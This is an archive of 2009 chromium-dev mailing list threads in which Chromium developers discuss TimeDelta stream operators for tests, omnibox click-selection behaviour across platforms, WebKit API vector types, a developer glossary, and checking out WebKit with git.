I know microseconds aren't a very user-friendly format, but for unit tests and DCHECKs I'm more interested in whether the assertion is simply true. Perhaps I'm lazy but I'd prefer: EXPECT_EQ(kExpected, foo); error: Value of: foo Actual: 2100 Expected: kExpected Which is: 2200 ...over: EXPECT_TRUE(kExpected == foo) Some message about kExpected.InSecondsF() and foo.InSecondsF(); error: Value of: kExpected == foo Actual: false Expected: true Some message about 21.0 and 22.0 Guaranteed I won't write that message every time and then I end up with a simple true/false dump instead of the erroneous values. On Thu, Aug 20, 2009 at 6:49 PM, Matt Perry mpcompl...@chromium.org wrote: Andrew wants to be able to do: DCHECK_EQ(expected_time_delta, time_delta); This can't be done without operator support. On Thu, Aug 20, 2009 at 6:46 PM, Jim Roskind j...@chromium.org wrote: +1 for Peter's suggestion. TimeDelta has an internal accuracy of microseconds. What resolution/scaling do you want to print in a check? Sometimes it is minutes, sometimes seconds, sometimes milliseconds, I doubt that we want microseconds :-/. Explicit conversion as suggested doesn't seem that painful IMO. Jim On Thu, Aug 20, 2009 at 4:02 PM, Peter Kasting pkast...@chromium.orgwrote: On Thu, Aug 20, 2009 at 3:33 PM, Andrew Scherkus scher...@chromium.orgwrote: Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? This will pull the stream headers into all files that use time.h. Is that going to bloat any code or cost compile time? Is there another easy solution like doing DCHECK() TimeDelta was: myTimeDelta.asInt64OrWhatever()? PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 20, 2:56 pm, Peter Kasting pkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK Actually it doesn't. I'm running Safari 4 on os x right now and the mouse clicks work exactly like jtolds has described. I agree that we should keep the conventional standards but those standards are not what chrome is using. cmaxo --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 20, 3:18 pm, Evan Martin e...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 4) Any time content in the box is selected, it should be in the PRIMARY buffer. This would mean that when you type a URL, the autocomplete will clobber your selection. Are you ok with that? I would argue that autocomplete is also broken -- why not do it like firefox, so that you have to explicitly select one of the possible completions, and *never* mess with what the user is typing? This would also make issues like #19199 / #19508 automatically disappear. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
I would plead strongly with the Mac people to change their decision; I suspect this would not end well. Mac users in general strongly favor consistency with the platform over saving a click or two. We've been trained over the years to single-click to place the cursor, double- click to highlight a word, and triple-click to select all. I'd be as frustrated as hell if that were to change, enough to probably not even use Chrome. It'd make me hesitate every time I went to click in the location bar, knowing that the behavior was going to surprise me since it was different from every single other text field on the OS. Not worth it, even if 99% of clicks in the location bar end up being to replace the entire URL. zach --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 20, 2:56 pm, Peter Kasting pkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. On windows, this doesn't clobber the X pastebuffer, because Windows has a different convention for copypaste. Additionally, highlighting the URL on windows does not give the user an affordance that the highlighted text is now in the pastebuffer. On X, even if you take special steps to not clobber the pastebuffer when you highlight the URL, it still gives the user the affordance that this data is now in the pastebuffer. In short: you break Linux by doing this. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. Not true. No mainstream browser on Linux does this. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Common terms + Techno Babble glossary
is there a reason this isn't on the wiki? -- Evan Stade On Thu, Aug 20, 2009 at 11:31 AM, Albert J. Wong (王重傑)ajw...@chromium.org wrote: I started a page to collect the common terms/lingo that gets used in chromium development. It's pretty anemic right now, but if a term keeps needing to get reexplained to people, please add it to the page. Also, if anyone has a better idea for formatting, please feel free to change it. I tried messing with tables on sites, but got confused and gave up. http://sites.google.com/a/chromium.org/dev/developers/common-terms--techno-babble I linked to it off the main For Developers page under Communication. Thanks, Albert --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 20, 3:14 pm, Peter Kasting pkast...@chromium.org wrote: I chatted with several people just now about the Mac behavior, since unlike Linux, there aren't blowing away my clipboard concerns and it seemed to me that the argument above was compelling. According to pinkerton, the behavior in Chrome Mac is not just to match Safari, Camino, or platform conventions, but ultimately for the same reason that Camino decided to place-cursor-on-click instead of selecting all: editing was thought to be common enough that selecting all becomes frustrating. To me something is wrong when we argue opposite (non-platform-dependent) conclusions on different platforms, so I filedhttp://crbug.com/19879about collecting some real-world data to inform this debate. If we found that 99% of user navigations followed replacing all the text, for example, I would plead strongly with the Mac people to change their decision; if we found that 50% of navigations involved editing, I would probably argue we should reverse the Windows and Linux behaviors both. To me that is the wrong approach. It should not be about which way do I guess the intent correctly most often -- that way leads you to MS Word-like guessing what did the user _really_ mean? and its attendant frustrations. The intent should be instead to conform to the principle of least surprise: what does the user expect when he clicks on a text field? On OS X and Linux that is cursor placement, not selection. -Jonathan --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: WebKit API guidance?
I think the code path in this case is (as you suggest): glue code creates vector of WebMessagePortChannels out of an array of MessagePortChannels. this gets passed down into WebMessagePortChannel.postMessage() WebMessagePortChannelImpl.postMessage() sends it to the right thread, then converts the vector into a vector of port IDs, and sends this to the browser process via IPC. reverse happens on the dest process Since we're not really messing around with the vector outside of one or two calls in the glue code, it probably makes sense to just use WebVector from the start, but I'll keep in mind that the recommended approach is to use non-WebKit classes elsewhere and convert as needed when calling WebKit API. Thanks for the help! -atw On Thu, Aug 20, 2009 at 6:35 PM, Jeremy Orlow jor...@chromium.org wrote: On Thu, Aug 20, 2009 at 6:17 PM, Drew Wilson atwil...@chromium.orgwrote: I have to admit I'm somewhat fuzzy on the motivation behind our webkit API, although I gather the plan is to eventually upstream it to WebKit, and use it as our abstraction layer instead of using the (more mutable) WebCore APIs? Or is there another motivation? That's one major benefit. Another one is that WebKit could be built as a DLL with only a small surface area of entry-points. Another one is that it forces us to clean up some really messy code and dependencies. But probably the biggest benefit is that it documents how we're using WebCore. Once we have a build bot on http://build.webkit.org that builds with our API, other WebKit developers will be able to see when they break us. Eventually we'll also be running layout tests against our version of WebKit+WebCore+V8+SKIA which will do even more documenting. I'm just curious because it seems like every non-backwards-compatible change I have to make to WebCore seems to translate to a similar change to the WebKit API (case in point, I'm currently changing parameters to MessagePort.postMessage() to take multiple ports instead of a single port and this requires changes to things like WebKit::WebChannel), so upstreaming the WebKit API wouldn't really shield us from breakage in those cases. Agreed, but it help with the case of others breaking us. Anyhow, I'm trying to understand the philosophy around when to use classes like WebVector (our WebKit API version of Vector). I'm updating some of the WebKit API classes to accept a WebVector as a parameter as part of the change described above. Down in the calling code, should I use STL classes like std::vector, and then convert to WebVector only when actually calling into the WebKit API? Or should I use WebVector elsewhere in the code (like down in the glue code)? It's certainly more efficient *not* to have to convert between std::vector and WebVector if I don't have to, but that seems like a slippery slope as WebKit API classes would start spreading through the rest of the codebase. Agreed about the slippery slope part. I assume this object is just being plumbed through chrome and the IPC layer back to WebCore in another process? The first quesiton is whether the WebCore vectors that WebVector wraps are threadsafe. If not, well then you probably need to do the conversion anyway. If they are threadsafe and chrome code doesn't need to understand/manipulate them, then you could directly serialize/deserialize it in the IPC layer and move it around that way. But yeah, if you're touching the data at all in Chrome, you probably want to convert. WebVectors are only for conversion and transport. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
+1 Clobbering the primary selection when clicking in the url bar is @#$ annoying and very un-Linux like. On Thu, Aug 20, 2009 at 14:02, JT Oldsjto...@xnet5.com wrote: Firefox on Linux doesn't. Wasn't one of the main goals to make the application feel native to the operating system? I could care less about Windows or OSX focus and selection behavior. None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. On Thu, Aug 20, 2009 at 2:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: WebKit API guidance?
On Thu, Aug 20, 2009 at 6:17 PM, Drew Wilson atwil...@chromium.org wrote: I have to admit I'm somewhat fuzzy on the motivation behind our webkit API, although I gather the plan is to eventually upstream it to WebKit, and use it as our abstraction layer instead of using the (more mutable) WebCore APIs? Or is there another motivation? I'm just curious because it seems like every non-backwards-compatible change I have to make to WebCore seems to translate to a similar change to the WebKit API (case in point, I'm currently changing parameters to MessagePort.postMessage() to take multiple ports instead of a single port and this requires changes to things like WebKit::WebChannel), so upstreaming the WebKit API wouldn't really shield us from breakage in those cases. Anyhow, I'm trying to understand the philosophy around when to use classes like WebVector (our WebKit API version of Vector). I try to avoid WebVector since it necessitates a copy. I'm not sure that I really want to keep it in the API long term. It is a crutch to help us out. On the Chromium side, use std::vector. On the WebKit side, use WTF::Vector. WebVector should only be used for data exchange, and should just be a temporary. In some cases, visitor or iterator patterns can be better than a WebVector. See WebHTTPHeaderVisitor and WebPluginListBuilder for examples. -Darin I'm updating some of the WebKit API classes to accept a WebVector as a parameter as part of the change described above. Down in the calling code, should I use STL classes like std::vector, and then convert to WebVector only when actually calling into the WebKit API? Or should I use WebVector elsewhere in the code (like down in the glue code)? It's certainly more efficient *not* to have to convert between std::vector and WebVector if I don't have to, but that seems like a slippery slope as WebKit API classes would start spreading through the rest of the codebase. Any guidance for me? -atw --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: WebKit API guidance?
On Thu, Aug 20, 2009 at 8:37 PM, Darin Fisher da...@chromium.org wrote: On Thu, Aug 20, 2009 at 6:17 PM, Drew Wilson atwil...@chromium.orgwrote: I have to admit I'm somewhat fuzzy on the motivation behind our webkit API, although I gather the plan is to eventually upstream it to WebKit, and use it as our abstraction layer instead of using the (more mutable) WebCore APIs? Or is there another motivation? I'm just curious because it seems like every non-backwards-compatible change I have to make to WebCore seems to translate to a similar change to the WebKit API (case in point, I'm currently changing parameters to MessagePort.postMessage() to take multiple ports instead of a single port and this requires changes to things like WebKit::WebChannel), so upstreaming the WebKit API wouldn't really shield us from breakage in those cases. Anyhow, I'm trying to understand the philosophy around when to use classes like WebVector (our WebKit API version of Vector). I try to avoid WebVector since it necessitates a copy. I'm not sure that I really want to keep it in the API long term. It is a crutch to help us out. On the Chromium side, use std::vector. On the WebKit side, use WTF::Vector. WebVector should only be used for data exchange, and should just be a temporary. In some cases, visitor or iterator patterns can be better than a WebVector. See WebHTTPHeaderVisitor and WebPluginListBuilder for examples. -Darin doh, one more thing... i'm toying with the idea of just making WebVector be implemented as a std::vector in our configuration, allowing still for other configurations where it might be implemented using a different native type. if i did that, then i'd be happier with WebVector because at least it would only require one copy... between std::vector and WTF::Vector. -darin I'm updating some of the WebKit API classes to accept a WebVector as a parameter as part of the change described above. Down in the calling code, should I use STL classes like std::vector, and then convert to WebVector only when actually calling into the WebKit API? Or should I use WebVector elsewhere in the code (like down in the glue code)? It's certainly more efficient *not* to have to convert between std::vector and WebVector if I don't have to, but that seems like a slippery slope as WebKit API classes would start spreading through the rest of the codebase. Any guidance for me? -atw --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: WebKit API guidance?
I noticed that you haven't done any WebKit merges yet? ;-) Kidding aside, this effort is about translating webkit/glue into a stable API that we can live with. We built webkit/glue originally to shield the majority of the Chromium code base from the constant churn of WebCore. It helped reduce the cost of merging because the set of required changes on our end were generally limited to the implementation of webkit/glue. In a few cases, WebCore changed too drastically, which necessitated an API change at the webkit/glue level, but those were the exception not the norm. Now, if we had really been planning for the future, we would have written webkit/glue using WebKit style and with minimal dependencies back onto the Chromium code base. Unfortunately, we did not do that, and so we are left having to do that work now. webkit/api is that work in progress. It should be complete by end-of-quarter. Of course, if your work is primarily about changing WebCore interfaces that the embedder must implement, then those changes will have a corresponding WebKit API change. That's just life. Consider such cases the cost of said shield. Once WebKit API is upstreamed, other contributors to WebKit will be able to help maintain it. If a WebCore interface changes in a superficial manner (name changes, etc.), then engineers who know nothing about Chromium will be able to keep our port alive just as they can do today for the Qt port, for instance. By the way, other ports have WebKit APIs too and for the same reasons :-) -Darin On Thu, Aug 20, 2009 at 6:17 PM, Drew Wilson atwil...@chromium.org wrote: I have to admit I'm somewhat fuzzy on the motivation behind our webkit API, although I gather the plan is to eventually upstream it to WebKit, and use it as our abstraction layer instead of using the (more mutable) WebCore APIs? Or is there another motivation? I'm just curious because it seems like every non-backwards-compatible change I have to make to WebCore seems to translate to a similar change to the WebKit API (case in point, I'm currently changing parameters to MessagePort.postMessage() to take multiple ports instead of a single port and this requires changes to things like WebKit::WebChannel), so upstreaming the WebKit API wouldn't really shield us from breakage in those cases. Anyhow, I'm trying to understand the philosophy around when to use classes like WebVector (our WebKit API version of Vector). I'm updating some of the WebKit API classes to accept a WebVector as a parameter as part of the change described above. Down in the calling code, should I use STL classes like std::vector, and then convert to WebVector only when actually calling into the WebKit API? Or should I use WebVector elsewhere in the code (like down in the glue code)? It's certainly more efficient *not* to have to convert between std::vector and WebVector if I don't have to, but that seems like a slippery slope as WebKit API classes would start spreading through the rest of the codebase. Any guidance for me? -atw --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Use git to checkout chromium source
Hi, I have followed the steps here in checking out chromium using git and the rest of the code using svn: http://code.google.com/p/chromium/wiki/UsingGit I am able to build successfully locally on my MacOSX. From this thread, it looks like I can use git to checkout WebKit source (instead of SVN)? http://groups.google.com/group/chromium-dev/browse_thread/thread/d4ca394f89c607b5?fwc=1 I understand doing to prevent gclient from checking out Webkit source. custom_deps of your .gclient: src/third_party/WebKit/JavaScriptCore: None, src/third_party/WebKit/WebCore: None, src/third_party/WebKit/WebKitLibraries: None, src/third_party/WebKit/LayoutTests: None, But I don't understand how to use git to check out Webkit source which chromium depends on. Should I use 'git-svn'? If yes, what is the url for the repository? Thank you. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Common terms + Techno Babble glossary
Nope. Feel free to move it, or I'll do it tomorrow. -A On Thu, Aug 20, 2009 at 7:41 PM, Evan Stade est...@chromium.org wrote: is there a reason this isn't on the wiki? -- Evan Stade On Thu, Aug 20, 2009 at 11:31 AM, Albert J. Wong (王重傑)ajw...@chromium.org wrote: I started a page to collect the common terms/lingo that gets used in chromium development. It's pretty anemic right now, but if a term keeps needing to get reexplained to people, please add it to the page. Also, if anyone has a better idea for formatting, please feel free to change it. I tried messing with tables on sites, but got confused and gave up. http://sites.google.com/a/chromium.org/dev/developers/common-terms--techno-babble I linked to it off the main For Developers page under Communication. Thanks, Albert --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Common terms + Techno Babble glossary
ported: http://code.google.com/p/chromium/wiki/Glossary?ts=1250828818updated=Glossary -- Evan Stade On Thu, Aug 20, 2009 at 8:57 PM, Albert J. Wong (王重傑)ajw...@chromium.org wrote: Nope. Feel free to move it, or I'll do it tomorrow. -A On Thu, Aug 20, 2009 at 7:41 PM, Evan Stade est...@chromium.org wrote: is there a reason this isn't on the wiki? -- Evan Stade On Thu, Aug 20, 2009 at 11:31 AM, Albert J. Wong (王重傑)ajw...@chromium.org wrote: I started a page to collect the common terms/lingo that gets used in chromium development. It's pretty anemic right now, but if a term keeps needing to get reexplained to people, please add it to the page. Also, if anyone has a better idea for formatting, please feel free to change it. I tried messing with tables on sites, but got confused and gave up. http://sites.google.com/a/chromium.org/dev/developers/common-terms--techno-babble I linked to it off the main For Developers page under Communication. Thanks, Albert --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: WebKit API guidance?
On Thu, Aug 20, 2009 at 8:39 PM, Darin Fisher da...@chromium.org wrote: On Thu, Aug 20, 2009 at 8:37 PM, Darin Fisher da...@chromium.org wrote: On Thu, Aug 20, 2009 at 6:17 PM, Drew Wilson atwil...@chromium.orgwrote: I have to admit I'm somewhat fuzzy on the motivation behind our webkit API, although I gather the plan is to eventually upstream it to WebKit, and use it as our abstraction layer instead of using the (more mutable) WebCore APIs? Or is there another motivation? I'm just curious because it seems like every non-backwards-compatible change I have to make to WebCore seems to translate to a similar change to the WebKit API (case in point, I'm currently changing parameters to MessagePort.postMessage() to take multiple ports instead of a single port and this requires changes to things like WebKit::WebChannel), so upstreaming the WebKit API wouldn't really shield us from breakage in those cases. Anyhow, I'm trying to understand the philosophy around when to use classes like WebVector (our WebKit API version of Vector). I try to avoid WebVector since it necessitates a copy. I'm not sure that I really want to keep it in the API long term. It is a crutch to help us out. On the Chromium side, use std::vector. On the WebKit side, use WTF::Vector. WebVector should only be used for data exchange, and should just be a temporary. Here's the crux of the issue. WebMessagePortChannel.h is defined in src/webkit/api/public. I'm assuming we can't use std::vector here since we ultimately want to upstream this. It seems like our only choices here are to use WTF::Vector or WebVector. The implementation of WebMessagePortChannel is in src/chrome/common/webmessageportchannel_impl.cc. We can't use WTF::Vector here (I'm assuming) since that belies the whole point of the webkit API. So it seems like I do need to use WebVector here. Luckily, I don't then need to pass this data around anywhere else (it's converted to a vector of ints and passed through IPC) so I can avoid doing any copies. In some cases, visitor or iterator patterns can be better than a WebVector. See WebHTTPHeaderVisitor and WebPluginListBuilder for examples. I really need to pass ownership of an array of data around, so I don't think those patterns will work here. Speaking of which, how do we capture the idea of passing ownership of a pointer? If this were in WebCore, I'd use WTF::OwnPtr/PassOwnPtr to signify that I was passing off ownership of a pointer. Is there an analogous idiom in the Chrome codebase and/or the Chrome WebKit API? -Darin doh, one more thing... i'm toying with the idea of just making WebVector be implemented as a std::vector in our configuration, allowing still for other configurations where it might be implemented using a different native type. if i did that, then i'd be happier with WebVector because at least it would only require one copy... between std::vector and WTF::Vector. -darin I'm updating some of the WebKit API classes to accept a WebVector as a parameter as part of the change described above. Down in the calling code, should I use STL classes like std::vector, and then convert to WebVector only when actually calling into the WebKit API? Or should I use WebVector elsewhere in the code (like down in the glue code)? It's certainly more efficient *not* to have to convert between std::vector and WebVector if I don't have to, but that seems like a slippery slope as WebKit API classes would start spreading through the rest of the codebase. Any guidance for me? -atw --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Common terms + Techno Babble glossary
awesome. thanks! 2009/8/20 Evan Stade est...@chromium.org ported: http://code.google.com/p/chromium/wiki/Glossary?ts=1250828818updated=Glossary -- Evan Stade On Thu, Aug 20, 2009 at 8:57 PM, Albert J. Wong (王重傑)ajw...@chromium.org wrote: Nope. Feel free to move it, or I'll do it tomorrow. -A On Thu, Aug 20, 2009 at 7:41 PM, Evan Stade est...@chromium.org wrote: is there a reason this isn't on the wiki? -- Evan Stade On Thu, Aug 20, 2009 at 11:31 AM, Albert J. Wong (王重傑)ajw...@chromium.org wrote: I started a page to collect the common terms/lingo that gets used in chromium development. It's pretty anemic right now, but if a term keeps needing to get reexplained to people, please add it to the page. Also, if anyone has a better idea for formatting, please feel free to change it. I tried messing with tables on sites, but got confused and gave up. http://sites.google.com/a/chromium.org/dev/developers/common-terms--techno-babble I linked to it off the main For Developers page under Communication. Thanks, Albert --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Overloading operator for TimeDelta
On Thu, Aug 20, 2009 at 7:13 PM, Andrew Scherkusscher...@chromium.org wrote: I know microseconds aren't a very user-friendly format, but for unit tests and DCHECKs I'm more interested in whether the assertion is simply true. Perhaps I'm lazy but I'd prefer: EXPECT_EQ(kExpected, foo); error: Value of: foo Actual: 2100 Expected: kExpected Which is: 2200 ...over: EXPECT_TRUE(kExpected == foo) Some message about kExpected.InSecondsF() and foo.InSecondsF(); error: Value of: kExpected == foo Actual: false Expected: true Some message about 21.0 and 22.0 Guaranteed I won't write that message every time and then I end up with a simple true/false dump instead of the erroneous values. You could also solve this by writing EXPECT_EQ_TIME(). It's not as elegant, but I worry that your argument could be applied to almost any type in our system. Erik On Thu, Aug 20, 2009 at 6:49 PM, Matt Perry mpcompl...@chromium.org wrote: Andrew wants to be able to do: DCHECK_EQ(expected_time_delta, time_delta); This can't be done without operator support. On Thu, Aug 20, 2009 at 6:46 PM, Jim Roskind j...@chromium.org wrote: +1 for Peter's suggestion. TimeDelta has an internal accuracy of microseconds. What resolution/scaling do you want to print in a check? Sometimes it is minutes, sometimes seconds, sometimes milliseconds, I doubt that we want microseconds :-/. Explicit conversion as suggested doesn't seem that painful IMO. Jim On Thu, Aug 20, 2009 at 4:02 PM, Peter Kasting pkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 3:33 PM, Andrew Scherkus scher...@chromium.org wrote: Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? This will pull the stream headers into all files that use time.h. Is that going to bloat any code or cost compile time? Is there another easy solution like doing DCHECK() TimeDelta was: myTimeDelta.asInt64OrWhatever()? PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Overloading operator for TimeDelta
Looking at the example you gavehow about: EXPECT_EQ(kExpected.InMilliseconds(), foo.InMilliseconds()); Is that really that painful to write? ...and you could get all the microseconds to compare if you wanted to via ...InMicroseconds(). I suspect you don't really want absolute comparisons at the microsecond level, and more likely you'd want something like; EXPECT_LT((kEpected - foo).InMilliseconds(), 20). ...but if you really wanted the example you cited, the first line seems relatively short. Jim On Thu, Aug 20, 2009 at 7:13 PM, Andrew Scherkus scher...@chromium.orgwrote: I know microseconds aren't a very user-friendly format, but for unit tests and DCHECKs I'm more interested in whether the assertion is simply true. Perhaps I'm lazy but I'd prefer: EXPECT_EQ(kExpected, foo); error: Value of: foo Actual: 2100 Expected: kExpected Which is: 2200 ...over: EXPECT_TRUE(kExpected == foo) Some message about kExpected.InSecondsF() and foo.InSecondsF(); error: Value of: kExpected == foo Actual: false Expected: true Some message about 21.0 and 22.0 Guaranteed I won't write that message every time and then I end up with a simple true/false dump instead of the erroneous values. On Thu, Aug 20, 2009 at 6:49 PM, Matt Perry mpcompl...@chromium.orgwrote: Andrew wants to be able to do: DCHECK_EQ(expected_time_delta, time_delta); This can't be done without operator support. On Thu, Aug 20, 2009 at 6:46 PM, Jim Roskind j...@chromium.org wrote: +1 for Peter's suggestion. TimeDelta has an internal accuracy of microseconds. What resolution/scaling do you want to print in a check? Sometimes it is minutes, sometimes seconds, sometimes milliseconds, I doubt that we want microseconds :-/. Explicit conversion as suggested doesn't seem that painful IMO. Jim On Thu, Aug 20, 2009 at 4:02 PM, Peter Kasting pkast...@chromium.orgwrote: On Thu, Aug 20, 2009 at 3:33 PM, Andrew Scherkus scher...@chromium.org wrote: Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? This will pull the stream headers into all files that use time.h. Is that going to bloat any code or cost compile time? Is there another easy solution like doing DCHECK() TimeDelta was: myTimeDelta.asInt64OrWhatever()? PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
